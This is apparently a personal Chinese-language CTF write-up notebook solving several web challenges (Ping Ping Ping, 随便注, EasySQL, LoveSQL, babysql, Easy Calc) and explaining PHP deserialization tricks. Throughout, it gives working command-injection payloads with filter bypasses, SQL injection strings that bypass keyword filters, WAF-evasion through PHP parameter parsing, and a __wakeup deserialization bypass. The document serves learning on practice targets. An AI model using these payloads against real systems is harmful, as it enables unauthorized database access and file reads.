2021年5月

[GXYCTF2019]Ping Ping Ping
过滤了空格

?ip=127.0.0.1||ls$IFS$1-a

看到这个目录下面有个flag.php

直接读取发现flag被过滤了,用*发现*被过滤了,尝试使用字符串拼接的方式,但是依旧不行.....后来发现其实已经读出来了,在源代码里面,是我傻了

?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php

这里看别的wp学到了一招?ip=127.0.0.1||cat$IFS$9ls,这样可以把ls出来的所有文件都读出来

[强网杯 2019]随便注
乱试试出来闭合是',用or 1=1好像没有,试了下可以用堆叠注入,select等语句被过滤,用show databases;查出一堆表名
avatar

show tables;(好臭的表)

avatar

1';desc 1919810931114514;查出有flag这个列

看到另外一张表words的结构为

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

盲猜这个words表,就是我们看到的这个界面的表

思路是吧flag的名字改成words,并把flag列也改成id,再用or 1=1 爆出,但是不知道为什么我试的时候一直报错,用网上的payload也一样,很迷

[SUCTF 2019]EasySQL

对堆叠注入有反应1;show databases;获取库ctf,在show tables获取表flag,但是他把flag给过滤掉了,没法直接select 读出,直接打没被拦截但是也同样什么信息都没有得到

然后就卡住了

看了下wp,fuzz跑出来没有过滤|,这个运算我没有直接查到是什么意思,但是在mysql里面试了下,发现跟别的,例如1|id,这样是可行的(但是对数值可能有影响),但是不能够使用*|id

MariaDB [db1]> desc class;
FieldTypeNullKeyDefaultExtra
cnoint(10)YES NULL
cnamevarchar(20)YES NULL

2 rows in set (0.00 sec)

MariaDB [db1]>

MariaDB [db1]> select * from class;
cnocname
71信息论
75离散数学
79JAVA
81C++
84数论

5 rows in set (0.00 sec)

MariaDB [db1]> select 1 from class;
1
1
1
1
1
1

5 rows in set (0.00 sec)

MariaDB [db1]> select 1cno from class;
1cno
71
75
79
81
85

5 rows in set (0.00 sec)

MariaDB [db1]> show columns from class;
FieldTypeNullKeyDefaultExtra
cnoint(10)YES NULL
cnamevarchar(20)YES NULL

2 rows in set (0.00 sec)

MariaDB [db1]> select *| from class;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '| from class' at line 1

MariaDB [db1]> select cnamecno from class;
cnamecno
71
75
79
81
84

5 rows in set, 5 warnings (0.00 sec)

MariaDB [db1]> select 1cname from class;
1cname
1
1
1
1
1

5 rows in set, 5 warnings (0.00 sec)

然后这人就猜测语句可能是sql = "select $_POST['query'] | col_xx from tab"

然后直接输入*,1就出来了...

[极客大挑战 2019]LoveSQL
?username=1%27or%201=1--+;&password=1万能密码进入,得到了
Hello admin!

Your password is '81c030327a85b46a0487d3b25ea43239'

试了下这个并不是flag(哪有那么简单),看了下bp也没有抓到什么东西,那就继续老老实实的注入

用order by测出一共有三个列,估计可能就放在第三个没有显示出来的那一列

select username,password from table where username='',password='';
select username,password from table where username=''--+;',password='';

?username=-1%27%20union%20select%201,2,database()--+;&password=1显示这个表显示出的是二三列,且库名geek

?username=-1%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27geek%27--+;&password=1
得到表名geekuser

?username=-1%27%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27geek%27%20and%20table_name=%27geekuser%27%20limit%202,1--+;&password=1
获取列名id,username,password

感觉不对劲,返回表名那一步,limit1,1获取另外一个表l0ve1ysq1,列名也是id,username,password

?username=-1%27%20union%20select%201,username,password%20from%20l0ve1ysq1%20limit%2010,1--+;&password=1然后后面就一个个看,里面一堆乱七八糟的玩意,扔bp里面爆破了,第十五行里面就是我们要的flag

[极客大挑战2019]babysql
一些关键词被过滤了,但是其实只要复写就能绕过

?username=1%27+oorrder+bbyy+3%3B--+测出有3列

?username=1%27+ununionion+seselectlect+1%2C2,database()%3B--+爆出库名geek

?username=1%27+ununionion+seselectlect+1%2C2,table_name+frfromom+infoorrmation_schema.tables+whwhereere+table_schema='geek'%3B--+这里是我糊涂了,我以为他屏蔽了information_schema,试了几次不行,后来才想起来屏蔽的是or....另外还有from也被过滤了但没在意

b4bsql,geekuser这里面有这两个表,我猜那玩意在b4bsql里面,然后有id,username,password三列

?username=1%27+ununionion+seselectlect+1%2Cusername,passwoorrd+frfromom+geek.b4bsql+limit+0,1%3B--+爆内容,果不其然又是奇奇怪怪的一堆,扔bp猜到第八个的时候出来了

[RoarCTF 2019]Easy Calc
点开来是一个计算器,试了一下也确实是个计算器,看不懂,去摸wp

get到了一个新知识点

PHP会把获取到的字符串转换为$_GET或$_POST的值的时候,会对其进行处理,在解析的过程中将会对一些字符删除或者用下划线替代,如/?%20news[id%00=42会转换为Array([news_id] => 42),如果防范的规则是news_id参数的值是必须为数字,那么我们可以用下面的语句绕过

/news.php?%20news[id%00=42"+AND+1=0--

PHP在这里会做两件事:

1.删除空白字符
2.将某些字符转化为下划线(包括空格

下面是三种原始--编译--最终

User input       Decoded PHP       variable name
%20foo_bar%00     foo_bar           foo_bar            
foo%20bar%00      foo bar           foo_bar            
foo%5bbar         foo[bar           foo_bar     

avatar
avatar

可以看到,不同的位置有不同的字符可以达到一样的效果

就比如说对一个叫num的参数进行拦截,我写成? num,最后处理出来还是num,但是因为那个括号,waf又认不出来 num是num,所以不会拦截

这题抓包可以看到GET /calc.php?num=1 HTTP/1.1,说明是通过get方式来给这个num传参的,试了下http://node3.buuoj.cn:29326/calc.php?num=3*5,嗯,确实给出了结果

然后又是几个新知识点scandir() 列出目录中的文件和目录,var_dump()打印变量的相关信息,当字符被过滤的时候,可以考虑使用chr()转为ascii编码进行绕过

构造的payload:http://node3.buuoj.cn:29326/calc.php?%20num=var_dump(scandir(CHR(47)))

得到信息可以看到

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

这里面根目录有个叫f1agg的文件,然后用file_get_contents读出http://node3.buuoj.cn:29326/calc.php?%20num=var_dump(file_get_contents(CHR(47).CHR(102).CHR(49).CHR(97).CHR(103).CHR(103)))

参考文章:

https://www.freebuf.com/news/213359.html
https://blog.csdn.net/weixin_44077544/article/details/102630714

去国赛摸了一圈,被教做人

无列名注入,在不知道表中各列的列名情况下获取表列名信息(information那表给屏蔽了...),具体的原理是利用join

例子如下,一张表class里面有cno,cname,当然,我作为外来者我不知道这表的具体信息,只知道一个表名,想查表爆列名的时候发现被拦截了,这时候我可以考虑使用无列名注入

select from (select from class as a join class b)c;

然后就会被提示Duplicate column name 'cno'重复列名

如何获取其他的列名?

select from (select from class as a join class b using(cno))c;这里的using是以cno为关键词进行等值连接

另外看到有人说其他的一些表也可以代替information_schema,文章地址,但是我在比赛的时候试了一遍,这都不是被拦截的问题了,直接就是无权限.....

序列化原理

序列化是指将对象信息转换为可存储或可传输的过程

序列化之后的对应关系:

布尔:b:value
整数:i:value
字符串:s:length:"value"
数组:a:<length>:{key,value paris}
对象:O:<class_name_length>:
NULL:N

最终格式
<class_name>:<number_of_properties>:{<properties>}

例如下面一个序列化例子

class persion
{
    public $name;
    public $age=19;
    public $sex;
}

serialize()序列化之后:

O:6:"persion":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
对象:对象名长度:对象名:属性数:{字符串:长度:名字;属性为空;字符串:长度:名字;整数:值;字符串:长度:名字;空;}

利用反序列化漏洞的条件:

  1. unserialize函数的参数可控
  2. php中有可以利用的类并类中有魔术方法

常见魔术方法:

_construst:对象创建
_destrust:对象销毁
_toString:对象被当做一个字符串使用
_sleep:序列化对象前调用(返回一个数组
_wakeup:反序列化恢复对象前调用
_call:调用对象中不存在的方法时自动调用
_get:从不可访问的属性读取数据

技巧

_wakeup失效: PHP5-5.6.25,PHP7.-7.0.10

当属性的个数不正确的时候,PHP不会调用__wakeup

bypass反序列化正则:使用正则/[oc]:\d+:/i来过滤反序列化字符,可以在O字段的对象长度前面加个+来绕过

Exception绕过:假设某类B,其flag在__desturct中,但因为后面又throw导致__destruct不会执行,这是构造属性为O:1:"B":1{1},解析错误但是类名是对的,所以会调用该类的__desturct

index.php
<?php

class SoFun{
  public $file='index.php';
  
  function __destruct(){
    if(!empty($this->file)){
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false){
        echo "<br>";
        show_source(dirname (__FILE__).'/'.$this ->file);}
      else
        die('Wrong filename.');
      }
    }
    
  function __wakeup(){ 
    $this-> file='index.php'; 
    }  
    
  public function __toString(){return '' ;}}
       
  if (!isset($_GET['file'])){
    show_source('index.php');
  } 
  else
  { 
    $file = $_GET['file']; 
    echo unserialize($file); 
  } 
?>  <!--key in flag.php-->



在flag.php里面有flag,但是因为wakeup函数的问题,他在反序列化的时候回把file名自动赋值为index.php,这时利用__wakeup()函数的漏洞,即输入错误的属性数,可以导致其不会运行,从而代入flag.php来获取最后的结果